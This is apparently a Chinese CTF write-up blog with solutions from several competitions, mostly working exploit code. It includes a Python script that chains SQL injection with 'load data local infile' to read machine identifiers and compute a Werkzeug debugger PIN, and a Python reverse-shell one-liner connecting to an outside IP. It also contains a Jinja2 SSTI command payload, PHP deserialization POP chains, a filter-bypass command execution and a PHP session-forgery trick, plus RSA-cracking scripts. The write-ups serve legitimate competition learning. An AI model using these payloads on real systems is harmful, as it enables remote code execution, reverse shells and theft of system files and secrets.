lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
ctf:x:1000:1000::/home/ctf:/bin/sh

ctf

/sys/class/net/eth0/address

1
02:42:c0:a8:10:03

转10进制

2485723336707

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

/proc/self/cgroup

1
2
3
4
5
6
7
8
9
10
11
12
13
12:hugetlb:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0
11:cpuset:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0
10:rdma:/
9:devices:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0
8:blkio:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0
7:freezer:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0
6:perf_event:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0
5:cpu,cpuacct:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0
4:pids:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0
3:memory:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0
2:net_cls,net_prio:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0
1:name=systemd:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0
0::/system.slice/containerd.service

40e26dc06e3155fda79ecf8a42294928c385382fd8e0e037d6c93d020a4023f8

/etc/machine-id
1cc402dd0e11d5ae18db04a6de87223d

/proc/sys/kernel/random/boot_id
e86c4117-eed3-4a37-82bc-b5fa47a88e0b

/usr/local/lib/python3.8/site-packages/flask/app.py

/view?note_id=0’||1=1

交PIN码

访问出错,然后打开console交互

弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“47.107.56.244”,8086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

ls /

/readflag

*ctf{exploit_Update_with_Version}

PIN码一键计算脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
import requests
import re
import time
import html

import hashlib
from itertools import chain

# url = 'http://124.70.185.87:5002/'

url = 'http://121.37.153.47:5002/'

# url = 'http://123.60.72.85:5002/'



sql = 'view?note_id='



# path = '/usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py'
# path = '/etc/passwd'
path2 = '/sys/class/net/eth0/address'
path3 = '/proc/self/cgroup'
# path = '/flag_cantguessit'
path = '/etc/machine-id'
# path = '/proc/sys/kernel/random/boot_id'
# payload="0'union select 1,2,3,4,(select hex(group_concat(cmd))from hua"+time+")%23"


data = {
"username":"xiquanmuhua",
"password":"1",
"submit":"Login!"
}



# 登录
ks = requests.session()

re1 = ks.post(url=url+'login',data=data)

time = str(time.time()).replace('.','')

time2 = time+'2'

time3 = time+'3'

create = "0';create table hua"+time+"(cmd text)%23"

create2 = "0';create table hua"+time2+"(cmd text)%23"

create3 = "0';create table hua"+time3+"(cmd text)%23"

load = "0';load data local infile '"+path+"' into table hua"+time+"%23"

load2 = "0';load data local infile '"+path2+"' into table hua"+time2+"%23"

load3 = "0';load data local infile '"+path3+"' into table hua"+time3+"%23"

ks.get(url=url+sql+create)

ks.get(url=url+sql+load)



# /etc/machine-id
for i in range(1000):
payload="0'union select 1,2,3,4,(select cmd from hua"+time+" limit "+str(i)+",1)%23"

re3 = ks.get(url=url+sql+payload)
# if i==41:
# print(re3.text)

# if 'None' in re3.text:
# break

line1 = re.findall('\s(.*?)\s \</h1',re3.text)
cal = line1[0][0:1000]
# print(str(i)+cal)
if cal==' None':
break
cal = html.unescape(cal)
cal1 = cal.replace(' ','')
# print(cal.replace(':',''))

# print(cal1)

# print(re3.text)




# /sys/class/net/eth0/address
ks.get(url=url+sql+create2)

ks.get(url=url+sql+load2)

for i in range(1000):
payload="0'union select 1,2,3,4,(select cmd from hua"+time2+" limit "+str(i)+",1)%23"

re3 = ks.get(url=url+sql+payload)
# if i==41:
# print(re3.text)

# if 'None' in re3.text:
# break

line1 = re.findall('\s(.*?)\s \</h1',re3.text)
cal = line1[0][0:1000]
# print(str(i)+cal)
if cal==' None':
break
cal = html.unescape(cal)
cal = cal.replace(':','')
# print(cal)
cal = cal.replace(' ','')
cal2 = int(cal,16)
cal2 = str(cal2)
# print(cal.replace(':',''))

# print(cal2)

# print(re3.text)


ks.get(url=url+sql+create3)

ks.get(url=url+sql+load3)

for i in range(1):
payload="0'union select 1,2,3,4,(select cmd from hua"+time3+" limit "+str(i)+",1)%23"

re3 = ks.get(url=url+sql+payload)
# if i==41:
# print(re3.text)

# if 'None' in re3.text:
# break

line1 = re.findall('\s(.*?)\s \</h1',re3.text)
cal = line1[0][0:1000]
# print(str(i)+cal)
if cal==' None':
break
cal = html.unescape(cal)
cal = cal.replace(' ','')
cal3 = cal.strip().rpartition("/")[2]
# print(cal.replace(':',''))

# print(cal3)

# print(re3.text)



probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

# private_bits = [
# '2485723357187',# str(uuid.getnode()), /sys/class/net/ens33/address
# '1cc402dd0e11d5ae18db04a6de87223d'# get_machine_id(), /etc/machine-id
# ]
private_bits = [
cal2,# str(uuid.getnode()), /sys/class/net/ens33/address
cal1+cal3#'1cc402dd0e11d5ae18db04a6de87223d'#+'e86c4117-eed3-4a37-82bc-b5fa47a88e0b'
#+'3701193a45598aa31a77b5a477183ab2b36640ccc522a3dab50a58c7e875ce4d'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = f'__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = f"{int(h.hexdigest(), 16):09d}"[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(
num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

# print(probably_public_bits)
# print(private_bits)

easyrsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import getStrongPrime
from gmpy import next_prime
from random import getrandbits
from flag import flag

p=getStrongPrime(1024)
q=next_prime(p^((1<<900)-1)^getrandbits(300))
n=p*q
e=65537

m=int(flag.encode('hex'),16)
assert m<n
c=pow(m,e,n)

print(hex(n))
#0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3

print(hex(c))
#0xd7f6c90512bc9494370c3955ff3136bb245a6d1095e43d8636f66f11db525f2063b14b2a4363a96e6eb1bea1e9b2cc62b0cae7659f18f2b8e41fca557281a1e859e8e6b35bd114655b6bf5e454753653309a794fa52ff2e79433ca4bbeb1ab9a78ec49f49ebee2636abd9dd9b80306ae1b87a86c8012211bda88e6e14c58805feb6721a01481d1a7031eb3333375a81858ff3b58d8837c188ffcb982a631e1a7a603b947a6984bd78516c71cfc737aaba479688d56df2c0952deaf496a4eb3f603a46a90efbe9e82a6aef8cfb23e5fcb938c9049b227b7f15c878bd99b61b6c56db7dfff43cd457429d5dcdb5fe314f1cdf317d0c5202bad6a9770076e9b25b1

next_prime方法是获取该数字的接下来的一个质数,而作为一个大数,下一个数与其相差是很小的,因此受到影响的只有低位,而高位是相同的

pp^((1<<900)-1)^getrandbits(300)近似,将p与q都分别拆成高124位和低900位,p的高124位由于在异或时不受到影响,因此与q的高124位也是相等的

并且p的低位与q的低位之和等于1<<900-1+c1,c1是小于300位的随机数与1<<900-1异或后再以此获取到下一位质数的低位时发生的改变量,是一个小数

1
2
3
4
5
6
n=p*q
n=(phigh*2**900+plow)*(qhigh*2**900+qlow)
# phigh=qhigh,因此设为x
n=(x*2**900+plow)*(x*2*900+qlow)
n=x**2*2**1800+x*2**900*(plow+qlow)+(plow+qlow)
# (plow+qlow)为小数可忽略不计,计算出x
1
2
3
4
5
6
7
8
import sympy

n=0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3
x=sympy.Symbol('x')
f1=x**2+x-n//2**1800
result=sympy.solve([f1],[x])
print(result)
# a = 20226195070633070235386534147535171929

计算出高124位值

接着利用高124位值继续计算原始值,首先由n=p*q以及高124位的值爆出pq近似值,1<900-1的1位到900位都是1,而没有与getrandbits(300)进行异或的300位到900位之间,与p异或后,得到的q的每一位必定与p的每一位不同,而且p与q相差越大,n越小,反之相差越小则n越大,而pq高124位相同,从900到300位之间,pq每一位必定不同,因此,此时p越小,则q越大,因此从最高不同位开始对qp进行交换值,爆出300到900位pq小于n的最大值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import gmpy2
from Crypto.Util.number import long_to_bytes
n=0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3
e=65537
c=0xd7f6c90512bc9494370c3955ff3136bb245a6d1095e43d8636f66f11db525f2063b14b2a4363a96e6eb1bea1e9b2cc62b0cae7659f18f2b8e41fca557281a1e859e8e6b35bd114655b6bf5e454753653309a794fa52ff2e79433ca4bbeb1ab9a78ec49f49ebee2636abd9dd9b80306ae1b87a86c8012211bda88e6e14c58805feb6721a01481d1a7031eb3333375a81858ff3b58d8837c188ffcb982a631e1a7a603b947a6984bd78516c71cfc737aaba479688d56df2c0952deaf496a4eb3f603a46a90efbe9e82a6aef8cfb23e5fcb938c9049b227b7f15c878bd99b61b6c56db7dfff43cd457429d5dcdb5fe314f1cdf317d0c5202bad6a9770076e9b25b1
a=20226195070633070235386534147535171929
p_high=a
p=(p_high<<900)+((1<<900)-1)^((1<<300)-1)
q=p_high<<900
for i in range(898,299,-1):#爆出pq的近似值
bit=1<<i
if (p^bit)*(q^bit)<n:
p^=bit
q^=bit

print(f"p={p}")
print(f"q={q}")
# p=170966211863977623201944075700366958395158791305775637137148430402719914596268969449870561801896130406088025694634815584789789278534177858182071449441084789053688828370314062664371344767976558822028720769455584351917209508431456012727131938700513852456800512509515671651181190792109543581556171983224752308224
# q=170966211863977623201944075700366958393004619503764097699771516857862770135235397782599591014026733542308689997522855822788108026355476250633633402693487971215224188430679737025882985505403822114205661869527054569354756666960892566846657579630600045867463262261396595011080471979623070974104943596771301392384

使用coppersmith定理进行高位攻击

1
2
3
4
5
6
7
8
9
10
# # 把上半段的结果与以下注释部分拿到网站https://sagecell.sagemath.org/去跑
# n=0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3
# P.<x>=PolynomialRing(Zmod(n)) #对p进一步爆破,直到能用高位攻击为止,得到p
# for i in range(300,500):
# f=x+((p>>i)<<i)
# root=f.small_roots(X=2^i,beta=0.4)
# if root!=[]:
# p=root[0]+((p>>i)<<i)
# print(f"p={p}")
# break

small_roots方法,参数X是可能解的上限,最高可取值为2的454次方,也就是454位未知时可用,参数beta在p和q非常接近时取0.4即可,但其他时候需要看情况取值,具体说明看文章(RSA中coppersmith定理的应用条件)[https://blog.csdn.net/qq_51999772/article/details/123620932]

得到p即可求出q,接着就是一般解rsa的步骤即可解出:

1
2
3
4
5
6
7
8
9
10
import gmpy2
# from Crypto.Util.number import long_to_bytes
import binascii
p = 170966211863977623201944075700366958395158791305775637137148430402719914596268969449870561801896130406088025694634815584789789278534177858182071449441084789053688828370314062664371527964357773254659131885022323526864655742577256932209187678896131068422973326545184343697783650940422950445390573562429093050687
q = n//p

phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
print(binascii.unhexlify(hex(pow(c,d,n))[2:]).decode())
# *CTF{St.Diana_pls_take_me_with_you!}

dasctf2022 抗’疫’

web1

抓包:

1
2
3
POST /?action=TestView

properties%5Btemplate%5D=%7BTableBody%7D&properties%5BrowHtmlOptionsExpression%5D=system%28'/readflag'%29&properties%5Bdata%5D%5B0%5D=1

调用了run方法,run在listview,但这是个抽象类,找到子类testview,然后创建,触发父类run方法,调用回调方法,正则匹配被{}包起来的字符串[A-Za-z],调用renderSection方法,拼接render和TableBody调用,满足条件rowHtmlOptionsExpression不为空,触发基类的方法,满足data不为空,打进eval,rce

easy_real

被格式害惨了,本来最后五分钟都算出来了,结果算出来的原始字符串里的反斜杠被转义了,盯着异或之后的字符串看半天没看出问题在哪,我哭死

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import binascii
import gmpy2

p = 64310413306776406422334034047152581900365687374336418863191177338901198608319
# q = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
q = 65267138038038699886916162739434586079731613825212388229424706115289974540917

n = 4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523

# print(n//p)
e = 23

c = 3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397

phi = (p-1)*(q-1)

d = gmpy2.invert(e,phi)

m = pow(c,d,n)
print(m)

print(hex(m))
print(binascii.unhexlify(hex(m)[2:].strip("L")))

a = str(binascii.unhexlify(hex(m)[2:].strip("L"))).replace('b\'','').replace('\\\\','\\').replace('\'','')
print(a)

for i in range(1,11):
flag = ''
for k in a:

flag +=chr(ord(k)^i)
print(flag)

改良exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time
import string
import re
from urllib import parse
from Crypto.Util.number import bytes_to_long, getPrime
from gmpy2 import next_prime

import gmpy2
from libnum import *
from Crypto.Util.number import long_to_bytes

import binascii
import gmpy2

p = 64310413306776406422334034047152581900365687374336418863191177338901198608319
# q = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
q = 65267138038038699886916162739434586079731613825212388229424706115289974540917

n = 4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523

# print(n//p)
e = 23

c = 3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397

phi = (p-1)*(q-1)

d = gmpy2.invert(e,phi)

m = pow(c,d,n)
# print(m)
# print(long_to_bytes(m).decode())
a = long_to_bytes(m).decode()
# print(a)

for i in range(1,11):
flag = ''
e = 0
for k in a:

flag +=chr(ord(k)^i)
if 'f' not in flag:
e=1
break
if e == 0:
print(flag)

ISCC2022

找自信

web

冬奥会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

show_source(__FILE__);

$Step1=False;
$Step2=False;


$info=(array)json_decode(@$_GET['Information']);

var_dump($info);

if(is_array($info)){

var_dump($info);

is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}

if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
?>

json解码:

{“0”:”0”,”1”:[0,[0,1]]}

第一部分代码都看傻了,甚至比弱类型少一个等号,反正year键值对应的有字母就行,第二部分键item对应的值也是一个数组,并且数组中第1位也是数组,并且数组中有三个元素,第三处,接着第0位为int 0绕过array_search,这样第四部分也检测不到,成功全部绕过

?Information={“year”:”2022a”,”items”:[0,[1],1]}

findme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);

class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;

public function __destruct(){
if(!empty($this->un0) && empty($this->un2)){
$this -> Givemeanew();
if($this -> un3 === 'unserialize'){
$this -> yigei();
}
else{
$this -> giao();
}
}
}

public function Givemeanew(){
$this -> un4 = new $this->un0($this -> un1);
}

public function yigei(){
echo 'Your output: '.$this->un4;
}

public function giao(){
@eval($this->un2);
}

public function __wakeup(){
include $this -> un2.'hint.php';
}
}

$data = $_POST['data'];
unserialize($data);
1
2
3
<?php
$a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';
// 难蚌

剩下的唯一的触发点就在__destruct,保证un0不为空,un2为空时可以进入if语句,先调用Givemeanew方法,将un0为类名的类实例化,参数为un1,并且赋值给un4,如果un3值为unserialize进入if语句调用yigei方法将un4作为字符串返回值

除非empty是能绕过的,否则giao方法里的eval函数就没用

于是可以利用的地方就只有Givemeanew方法里面的打原生类,原生类见识的有点少,花了一点时间才查到一个GlobIterator类可以匹配查询文件,很明显就是hint想告诉我们的答案,于是简单构造一下,查出文件名(我嬲,才发现这出题人居然还是个废狗玩家),然后利用SplFileObject类读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class a{
}

$a = new a();
$a->un0 = 'SplFileObject';
// $a->un0 = 'GlobIterator';
// $a->un1 = "./f*";
$a->un1 = 'fATE_gr19ande_Or0de8r.txt';
$a->un3 = 'unserialize';
// $a->un2 = 'php://filter/convert.base64-encode/resource=';
echo serialize($a);
?>

总结,还是要多了解多种可以进行文件夹操作和文件操作的原生类(差点翻车)

Pop2022

基础pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}

public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}

class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}

public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/

直接写个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Road_is_Long{
public $page;
public $string;
}

class Try_Work_Hard{
protected $var;
public function __construct(){
$this->var = "php://filter/convert.base64-encode/resource=flag.php";
}
}

class Make_a_Change{
public $effort;
}
/**********************Try to See flag.php*****************************/

$a = new Road_is_Long();
$a->page = new Road_is_Long();
$a->page->string = new Make_a_Change();
$a->page->string->effort = new Try_Work_Hard();
// $a->page->string->effort->var = "muhua";

$p = serialize($a);

$y = urlencode($p);

// var_dump($y);
echo $y;

// O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

misc

单板小将苏翊鸣

下载解压010打开图改高度(第二排前四位是宽,后四位是高),网站在线扫描二维码,在线解密Unicode转中文,问中国获得多少奖牌,金银铜分别多少,直接查,15942,解压获取flag

春秋杯2022.5季赛

Mercy-code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
$cmd = $_POST['cmd'];
if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
die('What are you thinking?');
} else {
eval($cmd);
}
} else {
die('Please calm down');
}
}

et拦了get系列,还有一堆阿巴阿巴

找到文章:无参数命令执行学习

die(array_shift(apache_request_headers()));

apache_request_headers()在Apache环境下可用,获取全部的请求头

array被过滤了,然后各种操作都没能返回可控点,然后想获取apache_request_headers函数返回的全部内容,但var_dump之类的都不能用,最后从rossweisse师傅得到提示json_code,使用该函数可将数组转成json字符串,确实获取了请求头全部信息,但数组头尾都是不可空的,中间位置又无法获取到,直接使用这段json字符串进行命令执行,但json_encode返回的字符串是带有双引号的,命令无法逃逸出来:

{“Host”:”eci-2ze1unm8inljptrkfbxt.cloudeci1.ichunqiu.com”,”X-Real-IP”:”111.47.226.120”,”X-Forwarded-For”:”117.136.89.107, 111.47.226.120, 111.47.226.120”,”Connection”:”close”,”Content-Length”:”47”,”RemoteIp”:”111.47.226.120”,”X-Connecting-IP”:”117.136.89.107”,”Real-Remote-Addr”:”117.136.89.107”,”X-Real-Forwarded-For”:”117.136.89.107”,”muhua”:”|ls||”,”Content-Type”:”application/x-www-form-urlencoded”,”X-From”:”JSL”,”X-JSL-Scheme”:”http”,”X-JSL-Port”:”80”}

最后想到addslashes函数,可以将双引号转义掉,并且未被过滤,成功绕过。

发包:

1
2
3
4
5
6
7
POST / HTTP/1.1
Content-Length: 62
Host: eci-2ze1unm8inljptrkfbxt.cloudeci1.ichunqiu.com
muhua: |ls||
Content-Type: application/x-www-form-urlencoded

cmd=system(addslashes(json_encode(apache_request_headers())));

成功读取到目录,成功任意命令执行,flag文件在当前目录,直接执行cat *即可

pwnhub

web

TemplatePlay

f12唤出开发者工具,看到源代码处有一个js代码:

1
2
3
4
5
(function (){
if (navigator.userAgent="Admin/5.0"){
window.location.href="http://"+window.location.host+"/view_template?string=1"
}
})

要求UA为Admin/5.0,抓包改一下,然后照着他的格式访问/view_template并传参string,测试发现是ssti模板注入并且是jinja2的

简单测试发现waf,多测试几下,发现以下payload能绕过:

1
http://121.40.89.206:5001/view_template?string={{g.pop.__globals__.__builtins__[%27__import__%27](%27os%27).popen(%27ls%27).read()}}

使用命令找一找

find / -name f
找到flag:
/www/config/flag.txt

读取即可

(这波是hackbar真好用,这题还用到了插件User-Agent Switcher and Manager来修改UA,都是chorme的)

MyNotes

有附件,直接下载一个,然后本地审审跑跑测测

flag.php里的代码要求$SESSION里有bool值为true的admin变量,但没有任何地方能创建这个变量

首先需要的知识是,题目是用session来记录的,通过这个记录的变量$SESSION值是和cookie里的PHPSESSID的值有关,并且$SESSION会被序列化并写入sess文件,文件名是sess_加上PHPSESSID的值,而序列化格式默认为,a|s:1:"1";

接着看到export.php的源码中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$notes = get_notes();

if (!isset($_GET['type']) || empty($_GET['type'])) {
$type = 'zip';
} else {
$type = $_GET['type'];
}

$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;

if ($type === 'tar') {
$archive = new PharData($path);
$archive->startBuffering();
} else {
// use zip as default
$archive = new ZipArchive();
$archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}

for ($index = 0; $index < count($notes); $index++) {
$note = $notes[$index];
$title = $note['title'];
$title = preg_replace('/[^!-~]/', '-', $title);
$title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters
$archive->addFromString("{$index}_{$title}.json", json_encode($note));
}

if ($type === 'tar') {
$archive->stopBuffering();
} else {
$archive->close();
}

note的title是可控的,filename可控,type传入.即可使得末尾拼接的点被替空,

1
2
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename);

filename为用户名的值,注册 sess_ 登入

写入note,title如下
|s:1:"a";user|s:5:"muhua";admin|b:1;

这样经过export的处理之后得到的文件就是一个压缩包格式的文件,但文件名是session格式,由于session的反序列化解析,第一个 | 前面的一大串包括不可见字符的字符串会被作为第一个变量名,而admin变量之后的字符串在 | 之前,又会被解析为一个变量,而再之后的与前面的变量重名,不影响,在 ; 之后的由于格式问题不会再被作为变量解析,那么经过这样解析,admin就被作为一个bool值为 true 的存在了

访问:
/export.php?type=.

